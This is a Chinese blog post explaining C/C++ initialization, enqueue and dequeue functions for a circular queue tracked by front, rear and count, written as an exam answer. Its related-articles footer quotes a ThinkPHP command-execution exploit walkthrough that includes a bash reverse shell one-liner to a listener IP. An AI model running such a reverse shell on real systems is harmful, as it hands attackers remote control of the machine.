【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录
第3题 基于front、rear和count的循环队列初始化、入队和出队操作
得分点(必背)
题解:基于front、rear和count的循环队列初始化、入队和出队操作
数据结构定义
代码解答
详细解释
1. 循环队列初始化
2. 循环队列入队
3. 循环队列出队
示例
1、初始化队列
2、入队操作
3、出队操作

🌈 嗨,我是命运之光!
🌌 2024,每日百字,记录时光,感谢有你,携手前行~
🚀 携手启航,我们一同深入未知的领域,挖掘潜能,让每一步成长都充满意义。
第6题 基于front、rear和count的循环队列初始化、入队和出队操作
假设循环队列中设置front、rear和count分别指示队头元素的位置、队尾元素的位置和队中元素的个数。编写算法,实现基于此结构的循环队列的初始化、入队、出队操作。
得分点(必背)
/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;}
// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;}
/*--------以上卷子上得分--------*/
题解:基于front、rear和count的循环队列初始化、入队和出队操作
在这个题目中,我们需要实现循环队列的初始化、入队和出队操作。循环队列使用数组实现,front和rear分别指示队头和队尾元素的位置,count表示队列中元素的个数。以下是代码及详细解释。
数据结构定义
假设循环队列的数据结构定义如下:
#define MAXSIZE 100 // 队列的最大长度
#define TRUE 1
#define FALSE 0typedef struct {int element[MAXSIZE]; // 存储队列元素的数组int front; // 队头指针int rear; // 队尾指针int count; // 队列中元素的个数
} SqQueue;
代码解答
/*--------以下卷子上得分--------*/
// 循环队列初始化(得分)
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}// 循环队列入队(得分)
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}// 循环队列出队(得分)
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
/*--------以上卷子上得分--------*/
详细解释
1. 循环队列初始化
void InitQueue(SqQueue *Q) {Q->front = Q->rear = 0;Q->count = 0;
}
InitQueue函数用于初始化循环队列。Q是指向循环队列结构体SqQueue的指针。- 将
Q->front和Q->rear初始化为0,表示队列的起始位置。 - 将
Q->count初始化为0,表示队列中当前没有元素。
2. 循环队列入队
int EnQueue(SqQueue &Q, int x) {if (Q.count == MAXSIZE) {//队列满return FALSE;}Q.element[Q.rear] = x;Q.rear = (Q.rear + 1) % MAXSIZE;Q.count++;return TRUE;
}
EnQueue函数用于将元素x入队。Q是循环队列结构体的引用。- 首先检查队列是否已满(
Q.count == MAXSIZE),如果已满,返回FALSE。 - 如果队列未满,将元素
x存入Q.element[Q.rear]位置。 - 更新
Q.rear,使其指向下一个位置(Q.rear + 1) % MAXSIZE,这是循环队列的关键操作,使rear在达到数组末尾时能够循环回到数组开头。 - 更新
Q.count,元素个数加1。 - 返回
TRUE,表示入队成功。
3. 循环队列出队
int DeQueue(SqQueue &Q, int &x) {if (Q.count == 0) {//队列空return FALSE;}x = Q.element[Q.front];Q.front = (Q.front + 1) % MAXSIZE;Q.count--;return TRUE;
}
DeQueue函数用于将队列中的元素出队。Q是循环队列结构体的引用。- 首先检查队列是否为空(
Q.count == 0),如果为空,返回FALSE。 - 如果队列不为空,将
Q.element[Q.front]的值赋给x,即出队元素。 - 更新
Q.front,使其指向下一个位置(Q.front + 1) % MAXSIZE,这是循环队列的关键操作,使front在达到数组末尾时能够循环回到数组开头。 - 更新
Q.count,元素个数减1。 - 返回
TRUE,表示出队成功。
示例
假设有一个循环队列 Q:
1、初始化队列
SqQueue Q;
InitQueue(&Q);
此时,Q.front = 0, Q.rear = 0, Q.count = 0。
2、入队操作
EnQueue(Q, 10);
EnQueue(Q, 20);
EnQueue(Q, 30);
执行上述操作后,队列 Q 中有三个元素,Q.element = [10, 20, 30, ...],Q.front = 0,Q.rear = 3,Q.count = 3。
3、出队操作
int x;
DeQueue(Q, x); // x = 10
DeQueue(Q, x); // x = 20
嗨,我是命运之光。如果你觉得我的分享有价值,不妨通过以下方式表达你的支持:👍 点赞来表达你的喜爱,📁 关注以获取我的最新消息,💬 评论与我交流你的见解。我会继续努力,为你带来更多精彩和实用的内容。
点击这里👉 ,获取最新动态,⚡️ 让信息传递更加迅速。


相关文章:
【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)
目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...
端点区间影响
前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...
Leetcode3224. 使差值相等的最少数组改动次数
Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...
thinkphp之命令执行漏洞复现
实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...
算法板子:匈牙利算法——二分图的最大匹配
目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...
轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!
不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...
windbg常用命令
1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行,不进入函数。 t: 单步执行,进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...
Ubuntu(20.04 LTS)更换镜像源
此换镜像源方法只适用x86_64架构的系统,其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中…...
golang使用 copier对象复制时进行类型转化
问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候,我们希望能显示经过格式化过的目标字符串格式,这里我们可以使用自定义的 converter,主要是定义 src 和 dst 类型…...
英特尔18A制程技术分析解读
#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧,英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息,并计划在2025年开始生产。 #### 技术进展 - **里程碑**:英特尔表示,这一里程碑是在…...
【百度面试算法题】2024-08-02
部门项目实际上也涉及到多种语言,有没有意愿去学习其他语言?你是如何利用数据结构来做技术的/项目中是如何解决高并发的?(没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了,开始问八股)说一下单…...
OSPF基础
目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...
leetcode 958.二叉树的完全性检验
1.题目要求: 给你一棵二叉树的根节点 root ,请你判断这棵树是否是一棵 完全二叉树 。在一棵 完全二叉树 中,除了最后一层外,所有层都被完全填满,并且最后一层中的所有节点都尽可能靠左。最后一层(第 h 层)…...
Spring 中请求作用域的数据存储在 ThreadLocal 中还是 Spring 容器中?
微信中阅读,欢迎👏👏👏关注公众号:CodeFit 。 创作不易,如果你觉得这篇文章对您有帮助,请不要忘了 点赞、分享 和 关注,为我的 持续创作 提供 动力! 最近看到一个有趣的问题,Request Scope(请求作用域) 的数据是存储在 ThreadLocal 中,还是 Spring 容器中? 事…...
基础岛 - 8G显存验证书生·浦语大模型的Demo
因为以前用过LMDeploy,所以本章的内容相对熟悉。 另外,因为教程写的很详细保姆级,所以大多数情况直接复制执行命令即可。开发机的创建略过。 总体验证结论: LMDeploy的模型加载有点慢,但推理速度快,符合预…...
Jangow靶机攻略
搭建jangow靶机环境https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova 虚拟机载入镜像文件 1.扫描目标主机地址 2.打开靶机环境 3.输入id查看回显位置 4.编辑一句话木马注入echo <?php eval($_POST[cmd]);?> > test.php 5.接下来查看文件输入ls 6.使用工具…...
Vue项目通过宝塔部署之后,页面刷新后浏览器404页面
目录 报错 解决方法 报错 将vue项目在宝塔上部署, 当项目挂载到服务器上去,进行浏览器的访问,是能正常访问的,可是当我们在浏览器上进行刷新之后,浏览器会给我们返回一个404的页面。 解决方法 (1&#…...
Java一一一简易图书管理系统
Java一一一简易图书管理系统 1. 需求分析 功能需求: 添加图书删除图书更新图书信息查询图书列出所有图书 2. 设计 实体类:Book业务逻辑类:LibraryManager 3. 实现 3.1 Book类 public class Book {private String id;private String t…...
Ubuntu配置carla docker环境
前言: 本文只在以下设备成功运行, 其他设备不保证能成功, 可以参考在自己设备进行配置 环境 ubuntu 20.04carla 0.9.15gpu 3060(notebook) 安装显卡驱动&nvidia-container-toolkit 显卡驱动 安装完成系统后直接在’软件和更新->附加驱动’直接选择470(proprietary…...
超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)
FLUX.1模型是什么? FLUX模型是一个开源的AI图像生成模型,由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室(Black Forest Labs)由前Stability AI核心成员团队成立,专注于开发高级生成式…...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南
精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南 在数字化营销时代,邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天,我们将深入解析邮件打开率、网站可用性、页面参与时…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
企业如何增强终端安全?
在数字化转型加速的今天,企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机,到工厂里的物联网设备、智能传感器,这些终端构成了企业与外部世界连接的 “神经末梢”。然而,随着远程办公的常态化和设备接入的爆炸式…...
python报错No module named ‘tensorflow.keras‘
是由于不同版本的tensorflow下的keras所在的路径不同,结合所安装的tensorflow的目录结构修改from语句即可。 原语句: from tensorflow.keras.layers import Conv1D, MaxPooling1D, LSTM, Dense 修改后: from tensorflow.python.keras.lay…...
安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下,卢森堡罗伯特舒曼医院(the Robert Schuman Hospitals, HRS)凭借在无菌制剂生产流程中引入增强现实技术(AR)创新项目,荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...
基于PHP的连锁酒店管理系统
有需要请加文章底部Q哦 可远程调试 基于PHP的连锁酒店管理系统 一 介绍 连锁酒店管理系统基于原生PHP开发,数据库mysql,前端bootstrap。系统角色分为用户和管理员。 技术栈 phpmysqlbootstrapphpstudyvscode 二 功能 用户 1 注册/登录/注销 2 个人中…...
django blank 与 null的区别
1.blank blank控制表单验证时是否允许字段为空 2.null null控制数据库层面是否为空 但是,要注意以下几点: Django的表单验证与null无关:null参数控制的是数据库层面字段是否可以为NULL,而blank参数控制的是Django表单验证时字…...
